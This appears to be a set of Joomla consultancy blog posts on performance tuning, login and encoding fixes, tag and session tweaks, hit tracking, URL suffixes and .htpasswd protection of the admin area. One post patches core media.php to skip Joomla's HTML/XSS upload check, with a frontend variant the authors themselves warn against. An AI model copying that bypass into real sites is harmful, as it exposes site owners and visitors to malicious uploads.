A substantial chunk of our work consists of optimizing Joomla websites. As such, we have gathered over the years a vast experience in that particular field and we almost know every variation of the problem as well as its causes. In this post, we would like to share our knowledge with our readers by providing them with the 20 questions that we usually ask ourselves (well, they’re really 19 questions + a final question that only you – and not us – can ask) when we’re handed over a Joomla optimization task.

  1. Is your Joomla website really slow?

    Yes, that might be a weird question, but let us tell you a little story after which you will probably feel that this first question isn’t that weird after all! Yesterday, we had a client whose Joomla website was loading in 14 seconds (yes, fourteen seconds). After thorough investigation and a lot of optimization, we discovered that the main problem lied with a 3rd party JavaScript widget that is used to load ads (and no, it’s not DoubleClick). Obviously, this is not a Joomla problem… So, before (mis)judging your Joomla website, check whether you have some JavaScript code (ads, social widgets, etc…) that is causing the delay in the loading of the website.

    Google PageSpeed Insights is a great tool that tells you whether the problem is from your Joomla website or not. If your server response time is higher than 1 second, then the problem is definitely from your website, otherwise, it might be something else.

  2. Is your Joomla website slow only at the time when you’re posting articles to the website?

    If you notice a significant lag on your Joomla website when you’re posting new articles, then this is usually primarily related to one of the following: Smart Search and/or the assets table. Let’s start with Smart Search: every time you create/update an article on the website then the Smart Search plugin, if enabled, will insert all possible search queries in the Joomla database (in *finder* tables), an action that causes a huge load on large Joomla websites. The irony is, the absolute majority of Joomla websites don’t even use the Smart Search functionality but still, they have all the Smart Search plugins enabled. Obviously, addressing this problem consists of disabling all the plugins starting with Smart Search in Joomla’s backend, and, if you’re one of the rare Joomla administrators who actually use Smart Search, then we suggest you try Sphinx to power your Joomla’ search engine, which is much, much faster and way, way lighter on your server.

    Moving to the assets table, which was discussed before, then all you need to do is to regularly clean it (clean it, and not clear it!), and you shouldn’t have any problems because of it anymore.

    Of course, there are other issues that might be causing slowdowns on the website when new articles are posted, but the root of these issues is typically a plugin that runs when articles are saved (so check your 3rd party plugins one by one until you find the culprit).

  3. Is your Joomla website slow during off hours?

    A couple of months ago, a client called us and told us that every day, at around 2 AM, his website slowed down to a crawl for about 30 minutes. A quick investigation of the issue revealed that the website (which was a huge website) was being backed up at the time, and, during the database backup, MySQL was experiencing a very high load causing the website to be super slow (often crashing the website for a few minutes). Fixing the problem consisted of dropping all the test databases/test tables, clearing large tables which data is not needed, disabling database powered stats (such as disabling Exim’s stats), and excluding some directories from being backed up (of course, this has nothing to do with MySQL, but it lessens the load on the file system).

  4. Are you using InnoDB or MyISAM?

    There are many existential debates in this world, such as the chicken and the egg debate (which came first), the white bread vs. whole wheat debate, the computer vs. the tablet debate, and, of course, the MyISAM vs. the InnoDB debate. We’re among those who believe that MyISAM is significantly faster than InnoDB (MyISAM and InnoDB are both storage engines in MySQL), and we are basing our information on the many Joomla websites we have optimized. So, if you are using InnoDB, then try switching to MyISAM and see if that helps improve the speed on your website. (By the way, if you really want to know, we think that the chicken came before the egg, we think that the white bread is better and tastier than whole wheat bread, and we definitely prefer computer over tablets).

  5. Are you positively, absolutely sure your website is not hacked?

    Some Joomla websites that we were commissioned to optimize turned out to be hacked. These websites were grabbing remote content (using curl) from malicious websites, and this was causing the slowdown as these malicious websites were very slow to respond and the website had to grab the malicious content before loading. We examined a case here. Scan your website, or, better yet, hire some experts (such as, ahem, us) to check whether your website is hacked or not.

  6. Have you checked your firewall log?

    In one rare instance, the slowness of a Joomla website that we examined was caused by the firewall. In short, the firewall was over-protecting the website from flooding (with SYN_FLOOD), and was incorrectly interpreting multiple connections made from the same page (to load images, CSS, and JS files) as a DoS attack. Fixing this problem consisted of a quick call to the host which resolved the problem by tweaking the firewall settings.

  7. Have you checked that your Apache configuration can handle the number of connected clients that you’re getting?

    In Apache’s configuration, there is a setting that will cap the maximum number of clients (workers), and each client is needed to serve on visitor. If you get a number of simultaneous visitors higher than your specified number of clients, then Apache will queue those visitors, resulting in a dramatic overall drop in the performance of the website. To check whether you have this problem or not, you will need to check the Server Status -> Apache Status page in WHM, if you see something like 0 idle workers, then this means that you will need to increase your maximum number of clients. This can be done from WHM as described here.

  8. Are you using any kind of caching on your website?

    If your website is gradually slowing, then you should consider using caching on the website. You should start with enabling Conservative Caching in the global configuration settings of your Joomla website, and then, if that doesn’t help things tremendously, you should enable the System – Cache plugin in your Plugin Manager (note that you should only do this as a last resort, or if you can’t afford to hire some experts to optimize your Joomla website, since the System – Cache plugin typically causes many conflicts and erratic behaviors). Also, make sure you enable template-specific caching if available (heavy templates usually have their own caching mechanism that has to be enabled separately).

  9. Do you have the necessary horsepower on your server?

    A few weeks ago, we have worked on a super large Joomla website which resided on a very old box with only 8 Gigabytes of RAM and a not so powerful quad core processor. That website, in our opinion, should reside on a very powerful server with at least 32 GB of RAM and a 48 core processor. We did manage to optimize it, but it was a costly operation for the client (who was informed in advance that the website was running on an inadequate server). Sadly, there is no secret formula that can tell you what kind of processing power (and RAM) is needed based on your number of pages and your number of hits because there are so many variables and unknowns that must be accounted for in such a formula (which, again, doesn’t exist). So, the only way to know that you need a bigger server is that if you notice that your RAM and your swap is entirely allocated almost all of the time and/or your CPU load is constantly high. By the way, an SSD drive is always a good idea as it speeds up filesystem access very noticeably (especially when it comes to write activities).

  10. Have you checked your MySQL slow query log?

    The MySQL slow query log is an indispensable tool to locate bottleneck queries. We use it in every Joomla optimization job that we get because it tells us the exact queries that are taking a long time to execute which helps us optimize these queries (or optimize the underlying tables/fields). When we work with the slow query log, we first address the queries that are taking a long time to execute, and then we attack the queries that appear in the log frequently.

  11. Have you checked that the long_query_time is set to 1 second in your my.cnf MySQL configuration file?

    If you examined the MySQL slow query log and saw nothing, despite the fact that slow query logging is enabled in the my.cnf file, then you should check whether the long_query_time setting, which defaults to 10 seconds, is set to 1 second in the my.cnf file. This will give you access to all the slow queries, not just those that take 10 seconds or more (it might be that you have a barrage of 1-second queries that are slowing down your website).

  12. Are you getting a sudden, unexplainable spike in your website’s traffic? It might be that your website is under a DoS (Denial of Service) attack which typically causes severe load issues on the server, and subsequently the website. You should check your logs, and, if you found anything suspicious, then you should consult with your host in order to block these attacks. There are also some extensions in Joomla that block DDoS attacks, but we don’t think highly of them since they are typically heavy and they often cause mysterious problems.

  13. Are you using all the extensions that you have installed on your website?

    The number of extensions that you have on your Joomla website is inversely proportional to its speed (and to its security). Surely, you are probably thinking, “but these extensions are doing nothing on the website and they have no data whatsoever”. That, of course, might be true, but many extensions come with plugins that may be running on each page load, affecting your page load speed. If you’re not using these extensions, then the best thing that you can do is to uninstall them!

  14. Have you done anything unusual on your website recently?

    Have you installed/uninstalled an extension? Have you updated an extension? Have you modified the ACLs? Have you asked a developer to work on your website? Have you modified the core in any way? Have you added something to your .htaccess file? Have you switched to another server/host or has your host upgraded applications on your server? (OK, that’s not really done on your website, but it’s definitely worth mentioning). If you have done any of the above, then your problem might just be there. Try, if possible, to revert to a backup to see if that resolves the problem.

  15. Is the problem happening on all the website?

    If the problem is just happening on one or a few pages on your website, then the slowdown might be caused by a module. Check the modules assigned to those pages and unassign them one by one until the problem is resolved (you will then be able to find the culprit module).

    If, after doing that, you still have slow load speeds on those particular pages, then the issue might be caused by a condition hardcoded in your template or it might be that these pages are using a different, slower template.

  16. Have you tried switching to a core Joomla template?

    Some templates, especially responsive templates, are heavy, very very heavy! If you’re using a template that you think is a bit heavy then try switching to a core Joomla template (such as a beez template) and see if that solves the problem. If you see a noticeable improvement after doing that, then don’t rejoice immediately, as it might not be the template, but it might be one or more modules with positions assigned in your original template but non-existent in the core Joomla template (please answer the previous question before answering this one).

  17. Have you checked your Google Webmaster Tools?

    Your Google Webmaster Tools can reveal some important information about your website when it comes to performance, particularly on when the performance problems started. This will probably give you a better idea on where to look to address the problem.

  18. Have you switched to a MEMORY based session table?

    The #__session table is probably the busiest table in any Joomla website, and, since the data in that table is not critical, then you can safely use the super fast MEMORY storage engine for this table. A discussion on how to do this is available here. That little change that you will make on the #__session table will yield exceptional results, trust us on this one (well, you can always try it without trusting us!)!

  19. Have you just upgraded/migrated your Joomla website?

    We don’t like to say it, but this is a fact: Joomla 1. 5 is faster than Joomla 2.5, and Joomla 2.5 is faster than Joomla 3.x, and, for some reason, we have a hunch that Joomla 3.x will be faster than Joomla 4.x. So, if you just upgraded/migrated your Joomla website then expect a degradation in the overall site’s performance until you perform some much needed optimization (that is the case especially when you’re running a high traffic and large Joomla website).

And, last but certainly not least…

  1. Have you contacted itoctopus?

    If you haven’t contacted us yet, then don’t be a stranger! We will definitely discover what the issue is and we will get your website running smoothly affordably, quickly, and cleanly! We’re always here for you – and for your Joomla website.

Creating a New Article in Joomla Taking a Long Time? Read This!

We had a client today complaining that when he clicks on the New button in Joomla’s Article Manager page, he has to wait for a long time for the Add New Article page to appear (the problem also happens when he clicks on an existing article in the Article Manager page to edit it). We did a quick analysis which revealed that the page was taking about 8 seconds to load, which is not normal since this page should take less than a half a second to load under normal circumstances.

Naturally, the first thing that we did was checking the slow queries in the MySQL Slow Query Log, but, alas, no slow query was logged there. This meant that the cause of the slowdown might be a hack, a rogue extension, or a batch of very similar queries being executed at the same time (typically in a while loop). We felt that this wasn’t going to be an easy task!

Luckily, we were wrong, since the first thing that we did was checking the HTML code generated on the New Article page (in order to see whether there was a malicious JavaScript there), and while doing that, we noticed one thing, there were 7,000+ tags being loaded into that new page! Naturally, we suspected that it was the huge number of tags causing the slowness, and so we completely removed the Tags field from the page the following way:

  • We opened the file article.xml located under the administrator/components/com_content/models folder.

  • We removed the following code:

    <field name="tags"
    	type="tag"
    	label="JTAG"
    	description="JTAG_DESC"
    	class="span12"
    	multiple="true"
    >
    </field>

  • We saved the file and uploaded it back.

  • We tested the Add New Article page, and, surprise surprise (well, not really a surprise, let alone two surprises), the page loaded in less than a second as it should be! (Removing the above XML content ensured that the Tags input box will no longer be loaded.)

Aha! So the reason was the huge number of tags! But of course, we can’t tell our client, who heavily relies on tags on his Joomla website not to use them, so we had to find an alternative solution to optimize the loading of this page, and so we did, and here it is:

  • We opened the file tag.php located under the libraries/cms/form/field folder.

  • We changed the following code:

    $query = $db->getQuery(true)
    	->select('DISTINCT a.id AS value, a.path, a.title AS text, a.level, a.published, a.lft')
    	->from('#__tags AS a')
    	->join('LEFT', $db->qn('#__tags') . ' AS b ON a.lft > b.lft AND a.rgt < b.rgt');

    to:

    $query = $db->getQuery(true)
    	->select('DISTINCT a.id AS value, a.path, a.title AS text, a.level, a.published, a.lft')
    	->from('#__tags AS a');

  • We removed the following lines:

    // Prepare nested data
    if ($this->isNested())
    {
    	$this->prepareOptionsNested($options);
    }
    else
    {
    	$options = JHelperTags::convertPathsToNames($options);
    }

  • We then saved the file and uploaded it back.

  • We reverted the changes we did on the aforementioned article.xml and we monitored the loading page and it still loaded in under a second! The problem was solved and we were able to keep the Tags field!

We probably have mentioned this before, we don’t like tags (in fact, we did, we did mention this before)! And that’s just another reason why we don’t like them and whey they should be avoided, yet people still use them and some extensions also use them (in a subtle way – in fact, the tags on our client’s website were generated by HWD MediaShare, which is a 3rd party media extension). But, if you’re stuck with them and it’s taking your website a long time to load the Add New Article page, then try the above solution and hopefully it should work for you. If it doesn’t, or if the solution presented here sounds a bit intimidating, then please contact us. We will solve your problem quickly, professionally, and for a very affordable fee!

How to Minimize Writes to Joomla’s Session Table to Reduce MySQL Load

Note: The solution presented in this post requires a core modification. As you may probably know by now, core modifications are delicate and may be wiped out with the next Joomla update. Please proceed with caution if you elect to implement the below.

If you’re running a high traffic Joomla website, then you probably have already noticed that a huge number of queries are actually updates to the #__session table. This is because every page load on the website creates/deletes/updates a row in the #__session. Naturally, these heavy write activities (again, we are talking about websites with a considerable amount of traffic) may cause load issues on the server.

Of course, you can always switch the #__session table’s storage engine to Memory instead of MyISAM or InnoDB, which is a good practice that we encourage, but this won’t solve the issue completely, because all these write activities, even on Memory tables, can still cause load issues (this is because every time any table is updated, all the MySQL query cache related to that table in any way will be wiped out).

Now, in order to reduce write activities to the #__session table on large websites, we have devised a quick, but very efficient, solution that requires a core modification. Here it is:

  • Open the file database.php located under the libraries/joomla/session/storage folder.

  • At the very beginning of the method write (which is defined around line 68 in Joomla 3.4.4) of the aforementioned database.php file, add the following code:

    if (JRequest::getVar( 'view' ) == 'article' || JRequest::getVar( 'view' ) == 'category'){
    	return true;
    }

  • Save the file and upload it back.

Once you do the above, you will notice a slight-but-not-very-slight drop in the load of the database server, since Joomla will no longer write to the session table when someone is just viewing an article or a category. Not too bad for a couple of lines of code, huh?

If you want to implement the above solution and you need help (or if you implemented the above solution and you noticed that it didn’t work for you), then please contact us. We will implement it for you for a very affordable fee, we’ll make sure that it really works, and you will gain new friends!

Byte Order Mark (BOM), Joomla, and Why You Can’t Login to Your Website

Late last night, a new client called us and told us that he can’t login to his Joomla website; that he’s being redirected to the login page with no errors when he logs in with either correct or wrong credentials. Of course, we’ve seen this issue several times, and so we thought it was an easy task, but we were wrong.

The problem with this task is that there were several issues causing the problem, and, if that wasn’t enough, there was a unpredictable twist that made our eyes bleed (they still are very red!). Let’s start with the normal issues:

  • The log and the tmp folders defined in the configuration.php file were wrong. We suspect the cause of the issue was a change in the environment (we don’t really like it when hosts change environments on Joomla administrators without telling them).

  • Apache was not able to write to the current session path, so we explicitly forced Apache to use another folder to save session data to by adding the following code (note that the below code is specific to Windows and is specific to our client’s filesystem):

    session_save_path(’C:\\sites\\webroot\\joomla\\tmp’);

  • The session.php located under the libraries/joomla/session/ folder had the session_start line commented out. We really have no idea how that happened, but we think it was a developer who was trying to solve the problem but ended up creating a bigger problem. The reason why we think so is because when we uncommented this line out, we started seeing the following error on every page:

    php – Warning: session_start() [function.session-start]: Cannot send session cookie – headers already sent by (output started at configuration.php…).

After doing all the above, we still had a problem logging in, but the warning generated by fixing the last issue gave us a hint on what the idea was: the configuration.php file was outputting something when it shouldn’t (any output prior to initializing the session will break it and will cause the session to being re-initialized on every refresh, causing the login to fail). The problem is, we checked, double-checked, triple-checked, zillion-checked the configuration.php file and we couldn’t find any issue: there was no trailing space neither before the opening PHP tag nor after the closing PHP tag.

So we started banging our heads against every wall in the office, and between each bang, we checked the configuration.php file one more time to see if the problem is there. And then, suddenly, a mix of luck and inspiration merged into a huge lightning that hit us, making us notice that the configuration.php file was saved in UTF-8 format, with signature. Ah ha! So the configuration.php file had a Byte Order Mark (BOM) that was causing the issue.

We saved the configuration.php file in UTF-8 format, without signature (using EmEditor, which is, in our very humble opinion, the best editor out there) and that fixed the problem.

But what is a “Byte Order Mark”?

Without getting into too much details, a Byte Order Mark (BOM) is an invisible unicode character (which is, if you really need to know, U+FEFF) that is added to the beginning of a file to let the application using the file know which byte order the file is using. When you save a UTF-8 file with signature, then the BOM is added to the beginning of the file.

But why was the BOM added to the configuration.php file?

The BOM was added to the configuration.php file because our client had Thai characters in that file (specifically in the $MetaDesc, $MetaKeys, and the $MetaTitle values of that file), and used the host’s File Manager to save that file, and that File Manager was saving files with UTF-8 characters with signature (which it should have saved such files without signature). By the way, Notepad saves any UTF-8 encoded file with signature, which is why you should use an editor such as, ahem, EmEditor (we swear we are not making money every time we mention that editor) which allows the user to save a file in UTF-8 without signature.

If you’re having login issues to your Joomla website and you’re not seeing errors, then check, in addition to the methods described in the posts linked to above, that your configuration.php is saved in UTF-8 without signature (if it is already saved in UTF-8). If you’re still having problems, then your best option would be to contact us. We’ll solve the problem rapidly, affordably, and efficiently, and we promise you that we will be your friends as long as we live!

Large Joomla Websites Need Powerful Servers

For the past few days, we were working on optimizing a super large Joomla website. No, make that mega-large: we’re talking about a website that gets 100,000 uniques and around 700,000 impressions every day (yes, that’s every day). The website in question is a news website that is ranked in the top 20 websites in its respective country. The website was just migrated from Joomla 2.5.28 to Joomla 3.4.4, and it wasn’t working post migration. Needless to say, it was both a stressful and exciting experience to work on such a website.

We did many, many things to make it work. The most important things that we did were the following:

  • Disabling PHP session write activities for guests. This was done by adding the following line to the very beginning of the function write in the file database.php located under the libraries/joomla/sessions/storage folder:

    $app = JFactory::getApplication();
    if ($app->isSite())
    	return true;

  • Optimizing the articles.php model file located under the components/com_content/models folder as described here (note that this guide still works beautifully for Joomla 3.x).

  • Other optimizations.

The problem was that despite all our above efforts, we were only successful in making the website work for like 10 minutes before MySQL crashing. There was significant progress (the website wasn’t even working at all), but still, the website was still crashing. Obviously, we needed to do something drastic. So we followed this process:

  • We allowed access to the website.

  • The MySQL slow query log was getting filled with slow queries.

  • We blocked access to the website.

  • We optimized the slow queries that we found in the log.

  • We cleared the log.

  • We repeated the above process until the website worked.

Once we finished the work, we started thinking: yes, it’s a huge website with significant traffic, but we worked on similar websites before, and they weren’t that hard to optimize. What was different this time?

It didn’t take us long to discover the difference between this website and other similar websites that we worked on: the website resided on an old server with 8 gigabytes of RAM, a 4 core processor, and an old, slow hard disk. To put things in perspective, our work laptops have 16 gigabytes of RAM, 4 core i7 processors, and SSD drives! Which means that our laptops are much faster than the server powering a website that gets about 3 million uniques every month!

After finishing the job, we communicated our findings to our client, and we told him that most of the optimizations that we did were not really needed had the website resided on a powerful server. In our opinion, that website needs at least a 64 core server with 64 gigabytes of RAM and an SSD drive to work smoothly. The fact that it is working smoothly now is (very humbly) pretty impressive.

The message that we want to convey in this post (besides the one where we’re bragging about our 16 GB of RAM Japanese laptops) is that large Joomla websites really need powerful servers (we know, duh), and sometimes, Joomla is not the real culprit behind a website’s poor performance. So, if your website is running slow and you’re not sure whether you need to optimize Joomla or upgrade your server, then let us know. We will give you an honest assessment of your environment, letting you know whether you need to update your server, optimize Joomla, or both! Oh, and we won’t charge you much!

How to Add the Google Tag Manager’s Code to Your Joomla Website

We are getting an increasing number of requests asking us to add the JavaScript code for the Google Tag Manager (which is another tracking tool mainly used by marketing departments). We have decided, in this post, to share a quick and simple guide on how to do this.

First thing you will need is to ensure that you have, in the index.php file located under your templates/[your-template] folder, the following code just under the <jdoc:include type=”head” /> line:

<jdoc:include type="modules" name="code" />

If the above line is not there, then you should add it, and then save the index.php file and upload it back to your website.

The next step would be to create an override for the Custom HTML module’s layout as described here in order to remove the unnecessary div tag (which will, unsurprisingly, break the HTML compliance of your website since you can’t have a div tag in the head section in standard HTML).

Once that is done, you should create a Custom HTML module with the following content (make sure that your editor allows you to type in JavaScript code):

<!-- Google Tag Manager -->
<noscript><iframe src="//www.googletagmanager.com/ns.html?id=[YOUR GOOGLE TAG MANAGER ID]"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','[YOUR GOOGLE TAG MANAGER ID]');</script>
<!-- End Google Tag Manager -->

(You will need to change [YOUR GOOGLE TAG MANAGER ID] with your own).

You should then assign the module to all the pages, and you must ensure that its position is set to code (you should hard type code in the Position field even if it’s not in the dropdown). You must also ensure that, in the Advanced Options tab, the Alternative Layout is set to nodiv (that is if you followed the above guide on overriding the output of the Custom HTML module).

Now, there is just one small thing to do, which is completely clearing the cache on your Joomla website (as well as that of your template, if it has its own caching mechanism).

If you followed the above instructions, then go ahead and show the world your beautiful smile of success because your website has now the Google Tag Manager installed!

Of course, Google Tag Manager is a vast realm, and it’s possible that you will need to send Google some specific information about your website’s content. If that is the case, then feel free to contact us. We’ll be happy to do this for you professionally, cleanly, and without taking much of your money

Hit Tracking Not Working when Joomla’s Caching Is Enabled: How to Solve

Joomla’s issues caused by caching are many, but one of these issues is extremely annoying and we are surprised how the Joomla development team hasn’t come up with a solid solution to it yet. In case you’re still wondering what the issue is, then it is no other than the conflict between hit counting and caching. Here’s the problem in details:

  • You enable caching on your website (any type of caching – even Conservative Caching).

  • Joomla caches the content item or the whole page (depending on the type of caching you apply, System Caching will cache the whole page, and Conservative Caching will just cache the content item).

  • When a visitor visits a page, then Joomla checks first if the there is a cached version of the page or the requested content item, and if there is, then Joomla will serve the cached version, if not, then Joomla processes the request, serves the page, and then creates the cached version of that page/content item. If the page/content item is already cached (which is the case in about 99% of the visits), then Joomla will not count the visit as a hit as the script that runs to increment the number of visits does not run on a cached version of the content item or the page.

If you’re a technical person, then you will know that it is really hard to solve the above problem without any core modification since the problem lies in the core (if you’re not a technical problem, then you should just take our word for it). However, at itoctopus, we have devised a method that will address the caching problem without core modifications. Here’s how:

  • Open the file default.php under the templates/[your-joomla-template]/html/com_content/article folder.

  • At the end of the file, add the following two lines:

    <script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
    <script>$.get( "<?php echo(JURI::root()); ?>updateHits.php", { articleId: "<?php echo($this->item->id); ?>"} );</script>

    (Note that the first line is not needed if you already have jQuery loaded.)

  • Upload this file (after extracting it) to the root folder of your Joomla website.

  • Clear your Joomla cache.

  • That’s it! That’s really it! Now your website can track the hits of your cached items.

But, how can the above method solve the problem?

The above method solves the problem because the cached content item/page will always contain the JavaScript code that will increment the number of hits, and so that code will always run even if the content item/page is cached.

But, does the above method provide 100% accuracy?

No – and we don’t think anyone out there needs to track the number of hits with a 100% accuracy since many hits come from bots (even on low traffic websites). In any case, the reason why the above method doesn’t provide 100% accuracy is because the number of hits will be incremented twice on non-cached items: 1) by Joomla’s core, and 2) by our code above. Of course, the margin of error in detecting hits is negligible but there’ll still be a margin of error.

If you want 100% accuracy when tracking hits through your Joomla website, then you should consider disabling hit tracking (note that doing that will mean a change to your Joomla core).

But, why should anyone care about the number of hits in Joomla?

Well, if you have a module that lists your “most read articles” on your website and your hit tracking is not working properly because of caching, then most likely the information displayed in the module will be wrong (your important articles will not be displayed, and your non-important articles will be displayed – at the very least the ordering of your most important articles will be wrong).

Does the above method work on K2?

No – but K2’s hit tracking doesn’t have any conflicts with caching. So you shouldn’t need it for K2.

Now, if you’re running into the same dilemma as the majority of Joomla administrators out there (e.g. hit tracking is not working when you have any kind of caching turned on), then try implementing the above – it should solve your problem and your Joomla website should track your articles’ hits reliably. If you think the above is somehow in the advanced realm (or maybe in the twilight zone), then fear not… Just contact us and we’ll do it for you for a very, very affordable fee. Note that a sufficient mix of love, friendliness, and professionalism is always added for free!

“Possible IE XSS Attack found.” when Trying to Upload a File in the Media Manager

Note: The solution presented in this post requires, ahem, a slight modification in a core file. Proceed with caution, and keep in mind that any change you make may be no more when you update your Joomla website.

A couple of hours ago, a high level developer working for a major client of ours told us that she was getting the following error while trying to upload an HTML file in the Media Manager:

“Possible IE XSS Attack found.”

Without giving the issue much thought, we told her to do the following:

  • Login to the backend of the Joomla website.

  • Click on Content -> Media Manager.

  • Click on Options on the top right.

  • Next to Legal Extensions (File Types), add html as a legal type.

We thought that the problem lied in the fact that files with a .html extension are not allowed by default in Joomla, and that they must be explicitly allowed in the Media Manager’s settings. While that was true, it didn’t solve the problem…

A few minutes later, she emailed us telling us that she already did that. So we investigated the problem much more thoroughly, and we discovered something new, something that we didn’t know of before: Joomla, for security reasons, doesn’t allow any file that contains HTML tags to be uploaded, and that is enforced in the file media.php, which is located under the libraries/cms/helper. If you read that file (start at line 190), you will know that Joomla scans the uploaded file for most known HTML tags and immediately returns the error if any tag is found. What makes this security rule even more aggressive is the fact that it doesn’t care about the file type: even if the file is called myimage.jpg it is checked for HTML tags. Hmmm…

Now, since the users using the backend were trustworthy, we were able to disable this security rule only for the backend. We did that the following way:

  • We opened (using FTP) the file media.php located under the libraries/cms/helper folder.

  • We searched for the following line:

    $xss_check = file_get_contents($file['tmp_name'], false, null, -1, 256);

    Just above it, we added the following line:

    $app = JFactory::getApplication();
    if ($app->isAdmin())
    	return true;

  • That’s it! Doing the above allowed the developer to upload files with HTML content to the website. The problem is solved!

But what’s with “IE XSS” error?

We know, the error doesn’t really make any sense when you take into consideration that the developer was not even using IE (and, of course, was not experimenting with XSS attacks against her employer’s website). We suspect that this security rule was added because of an exploit that is specific to Internet Explorer, hence the name (by the way, this security rule didn’t exist in versions of Joomla older than 3.2.0).

If you’re seeing the same problem while trying to upload an HTML file to your Joomla website using the Media Manager, then try the above solution, it should work. If you’re facing this problem in the frontend, then you will need to just add return true; (instead of the 3 lines above), but keep in mind that you may be opening your website to security exploits, and we don’t recommend it. If you’re in a dilemma as to whether you should implement this solution or not, and you need help, then please contact us. We are super experienced in Joomla, our work is super clean, our rates are super cheap, and we are always super ready!

How to Change Joomla’s SEF Suffix From “html” to “php”

Note: The solution presented in this post involves a modification to a core Joomla file. Please proceed with caution and keep in mind that a core modification can be wiped out with a future Joomla update, potentially breaking your website (or, at best, breaking your website’s links).

Every now and then, a client calls us and tells us that his company wishes to have the suffix of their website’s links to be something other than html. Usually, the client wants to change the suffix from html to either php or htm. Nearly every time we had this call, the client expected to be able to do this by changing a setting in Joomla’s backend. Of course, the first thing that we do is that we tell the client that this is not possible – and that core modifications are required in order to do that. We then get approval from the client to implement the solution for him and we proceed to work!

Now, since we are at itoctopus super-generous with an obsession of knowledge sharing, we are going explain the process of changing the suffix on a Joomla website from html to php in this post. Here’s how:

  • Open the file site.php which is located under the libraries/cms/router folder.

  • Find this line (should be line 110 in Joomla 3):

    $vars['format'] = $suffix;

    Replace it with:

    $vars['format'] = 'html';

  • Find this line (should be line 144):

    if ($format = $uri->getVar('format', 'html'))

    Replace it with:

    if ($format = $uri->getVar('format', 'php'))

  • That’s it! That’s really it! There’s nothing more to do!

This seems super easy! Is there a caveat?

Well, actually there is. The problem with the above method is that you will have duplicate links, for example, both http://www.[your-joomla-website].com/page-1.html and http://www.[your-joomla-website].com/page-1.php will work (obviously, Google will not like that). However, the solution to this problem is very straightforward. All you need to do is to add the following line to the beginning of your .htaccess file:

RedirectMatch 301 (.*)\.html$ http://www.[your-joomla-website].com$1.php

The above line will solve the problem.

Will the above method work for a suffix other than “php”?

If you want to change the suffix of the links on your Joomla website from html to anything else, then just replace php in the code above to the suffix of your choice. You need, however, to make sure that you add the following line to your .htaccess file (to tell Apache to process any URL with an unknown suffix as HTML):

DefaultType text/html

If you need help implementing the solution above, then look no further as we are here to help! Just contact us and let us prove to you how efficient, knowledgeable, and affordable we are!

Joomla 3: No Save Button on “Add Contact” Page

One of our very large clients had a weird problem on a newly migrated Joomla website: everything was working properly on the website, except for the fact that they couldn’t add any contact (in the Contacts component) because the “Save” button wasn’t there. In fact, the only button that they could see was the “Cancel” button.

Although this was the first time that we saw this problem, we had a hunch that its root cause had something to do with the assets table. So, we clicked on the Categories tab in the Contact Manager,and then we clicked on the Rebuild button on the top right, with the hope that that would solve the problem. Unsurprisingly, it didn’t. We knew it wasn’t that simple, but we still believed that the problem lied somewhere in the assets table.

So we logged in to phpMyAdmin and checked the #__assets table there, and we immediately realized what the problem was. There wasn’t a single entry referencing any contact category in that table. It seems when the website was migrated, the references to contact categories where not created in the #__assets table.

So, how did we fix the problem?

Fixing the problem was super easy. All we needed to do was to go back to Joomla’s backend, open each and every contact category that the website had, and then save it (saving the contact category [and any Joomla category] creates the right entry in the assets table).

If you have the above problem on your website (in the Contacts extension or in any other extension), then try rebuilding the categories and re-saving them. Most likely this will fix the problem. If it doesn’t, then the problem might be somewhere else, and you might need some Joomla experts (like, ahem, us) to handle it. Just contact us and we’ll address the problem for you in as little time as possible and for a super affordable fee!

How to Password Protect the Backend of a Joomla Website with .htpasswd (and .htaccess)

Early last week, we had a case where a malicious extension was subtly installed on the Joomla website for one of our clients. Luckily, our extra security measures prevented actual harm, but still, we were confident that if the person who installed that extension was a bit more persistent, he could have wiped out the entire website.

What was surprising, though, was not the fact that that person was lazy (generally malicious users are very, very lazy), but it was the fact that he was able to install the malicious extension on a super protected Joomla website. We needed to find out how it was done to prevent it in the future…

So, we examined the logs thoroughly, and it didn’t take us log to find out how that malicious extension was installed: it was installed through Joomla’s backend. So, our next job was to check how the user gained access to the backend, and it also didn’t take us long to find out that he logged in with a valid username and password, which meant that the username and password of one super user were compromised! What was even worse was that there was no evidence that the malicious user tried to login through brute force, which meant that he knew the username and password in advance! A horrible thought, probably more horrible than the reaction of Jimmy the Tulip after realizing that there’s mayonnaise in his burger! Why is it that horrible, you might wonder? Well, because you can’t do much to protect a website with a compromised set of credentials other than just changing the password!

But we decided to do more, we decided to protect the website with an additional login: the .htpasswd login! In case you’re wondering what it is, the .htpasswd login is an Apache based login that will protect a specific directory on the website with a username and a password. Here’s how we did it:

  • We generated the .htpasswd file using an online tool (just google “generate .htpasswd” and typically the first link is what you want). You can also generate the htpasswd file from the command line if you have root access to the server hosting your Joomla website. (Note: We re-generated the .htpasswd using the command line for that website as we weren’t very comfortable using a set of credentials that we generated using an online tool).

  • We copied the .htpasswd file to the /home folder on the server and we ensured that Apache (e.g. the Joomla website) has read access to that file.

  • We created an .htaccess file under the administrator directory of the Joomla website and we added to it the following lines:

    AuthName "Authorisation Required"
    AuthUserFile /home/.htpasswd
    AuthType Basic
    Require valid-user
    ErrorDocument 401 "Authorisation Required"

  • That’s it! Now anyone who wants to login to the website has to provide an additional set of credentials!

We know – this is ridiculously easy! What’s even more exciting is that any brute force attack will be automatically blocked by the CSF (ConfigServer Security and Firewall) firewall after (usually) 5 failed attempts.

But how did the malicious user know the username and the password of the super user?

We’re not exactly sure, but we’re inclined to say it was because one of the major staff members had a virus on his machine, which probably transmitted the Joomla credentials to the malicious user. Of course, you might say that the same can happen for the .htpasswd credentials, and our answer is “you’re correct”, but the company implemented a policy of daily scanning their entire network of PCs ever since the incident, immediately disconnecting any infected machine.

We hope that you found this post useful! If you did, then we did a good job! If, however, you feel that you need help password protecting your Joomla website with an .htpasswd file, then you can just contact us. Our rates are affordable, our work is quick and professional, and we love, we really love, our clients, and our clients love us!

Unable to Delete Items in Joomla’s Trash

